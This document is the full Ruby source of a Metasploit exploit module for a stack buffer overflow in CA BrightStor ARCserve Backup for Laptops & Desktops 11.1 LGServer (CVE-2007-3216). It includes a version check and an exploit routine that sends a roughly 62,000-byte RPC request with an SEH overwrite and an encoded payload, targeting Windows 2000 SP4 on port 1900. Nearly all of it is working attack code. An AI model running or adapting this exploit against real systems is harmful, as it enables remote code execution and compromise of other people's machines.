CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow

`##  
# $Id: lgserver_multi.rb 10909 2010-11-04 23:59:56Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup  
for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,  
an attacker could overflow the buffer and execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10909 $',  
'References' =>  
[  
[ 'CVE', '2007-3216' ],  
[ 'OSVDB', '35329' ],  
[ 'BID', '24348' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],  
],  
'DisclosureDate' => 'Jun 6 2007',  
'DefaultTarget' => 0))  
  
register_options([ Opt::RPORT(1900) ], self.class)  
end  
  
def check  
  
connect  
  
sock.put("0000000019rxrGetServerVersion")  
ver = sock.get_once  
  
disconnect  
  
if ( ver =~ /11.1.742/ )  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
  
connect  
  
rpc_commands = [  
"rxsAddNewUser",  
"rxsSetUserInfo",  
"rxsRenameUser",  
"rxsExportData",  
"rxcReadSaveSetProfile",  
"rxcInitSaveSetProfile",  
"rxcAddSaveSetNextAppList",  
"rxcAddSaveSetNextFilesPathList"  
]  
  
rpc_command = rpc_commands[rand(rpc_commands.length)]  
  
data = rand_text_alpha_upper(62768)  
  
data[58468,8] = generate_seh_record(target.ret)  
data[58476,payload.encoded.length] = payload.encoded  
  
sploit = "0000062768" # Command Length Field  
sploit << rpc_command # RPC Command  
sploit << "~~" # Constant Argument Delimiter  
sploit << data  
  
print_status("Trying target #{target.name} with command '#{rpc_command}'...")  
sock.put(sploit)  
  
handler  
disconnect  
  
end  
  
end  
`